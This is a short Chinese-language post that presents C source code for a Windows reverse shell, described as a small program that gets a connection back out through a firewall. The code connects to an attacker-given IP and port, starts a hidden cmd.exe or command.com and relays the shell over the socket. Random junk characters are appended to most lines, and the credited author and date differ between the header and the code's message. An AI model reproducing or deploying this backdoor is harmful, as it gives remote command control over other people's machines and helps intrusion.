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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 u`+kH8#  
/WAOpf5  
/* ============================== $Ovq}Rexc  
Rebound port in Windows NT ]a~gnz&1  
By wind,2006/7 >]\oVG  
===============================*/ QE;,mC>  
#include Tt0]G_  
#include SV2\vby}C  
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#pragma comment(lib,"wsock32.lib") czo*_q%  
/4*>.Nmb,f  
void OutputShell(); =cR=E{20  
SOCKET sClient; 0F 4%Xz  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1@]gBv<  
Z79Y$d>G<E  
void main(int argc,char **argv) %. IW H9P7  
{ |oOA;JC)(  
WSADATA stWsaData; pi*?fUg!W  
int nRet; F*B^#AZg  
SOCKADDR_IN stSaiClient,stSaiServer; G"<} s mB  
~|wh/]{b9  
if(argc != 3) ` NvJ  
{ ''EFh&F  
printf("Useage:\n\rRebound DestIP DestPort\n"); J]*?_>"#8  
return; ;ahI}}  
} JHVesX  
olDzmy(=W*  
WSAStartup(MAKEWORD(2,2),&stWsaData); 9qJ:h-?M  
)!`>Q|]}Zd  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /EM=!@ka  
5=_))v<Tp  
stSaiClient.sin_family = AF_INET; 'khhn6itA  
stSaiClient.sin_port = htons(0); N*hx;k9  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); cC`PmDGq  
nfr..4,:  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) R? ,XSJ  
{ ;&RHc#1F  
printf("Bind Socket Failed!\n"); /(A rA=#  
return; _H2%6t/V  
} 9[\$\l  
'F8:|g  
stSaiServer.sin_family = AF_INET; 2I~a{:O  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); u@[JX1&3"n  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); {f%x8t$  
)d?L*X~y'  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5fhe{d"si  
{ T 3 +lYE  
printf("Connect Error!"); ];}7 %3  
return; #J c)v0_  
} pB]+c%\  
OutputShell(); Je~Ybh  
} ]M9r<x*  
ZEU/6.  
void OutputShell() ^5gB?V,  
{ |f&=9%  
char szBuff[1024]; {B6tGLt#bf  
SECURITY_ATTRIBUTES stSecurityAttributes; `OyYo^+D|.  
OSVERSIONINFO stOsversionInfo; Rwz (20n\^  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Q(YQ$ i"S  
STARTUPINFO stStartupInfo; 2Yd;#i)  
char *szShell; {{ 4S gb  
PROCESS_INFORMATION stProcessInformation; {W#VUB  
unsigned long lBytesRead; #]o#~:S=  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -u 'BK@;  
V IU4QEW`x  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RV+0C&0ff  
stSecurityAttributes.lpSecurityDescriptor = 0; `zRm "G  
stSecurityAttributes.bInheritHandle = TRUE; > 1&_-  
6m{1im=  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); . !;K5U  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !"x&tF  
7j L.\O  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Uu3<S  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DWRq \`P  
stStartupInfo.wShowWindow = SW_HIDE; l+8G6?@]>  
stStartupInfo.hStdInput = hReadPipe; !@-g9z  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; KF`@o@,  
zz+[]G+"2m  
GetVersionEx(&stOsversionInfo); "@)9$-g  
3DO ^vV  
switch(stOsversionInfo.dwPlatformId) Bl)DuCV  
{ }xM >F%  
case 1: p8MPn>h<  
szShell = "command.com"; R~DZY{u+/$  
break; 7vs>PV  
default: R k).D 6  
szShell = "cmd.exe"; 9AdA|/WV  
break; g>O O '}lF  
} PG/xX H  
d$`NApr  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ueazAsk3g  
RZ&T\;m,7  
send(sClient,szMsg,77,0); v81H!c.*  
while(1) n$T'gX#5  
{ <U() *0  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); xT$9M"  
if(lBytesRead) ^8yhx-mgb  
{ ;4 ON  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); gNG_,+=!  
send(sClient,szBuff,lBytesRead,0); ]RJcY1  
} m0 k~8^L@f  
else fgSe]q//  
{ x:)8+Rn}  
lBytesRead=recv(sClient,szBuff,1024,0); SBBi"U:  
if(lBytesRead<=0) break; Q7$K,7flf;  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); "R/Xv+;  
} n++L =&Wd  
} yqw#= fy  
Zxwcj(d  
return; IaLCWvHX  
}
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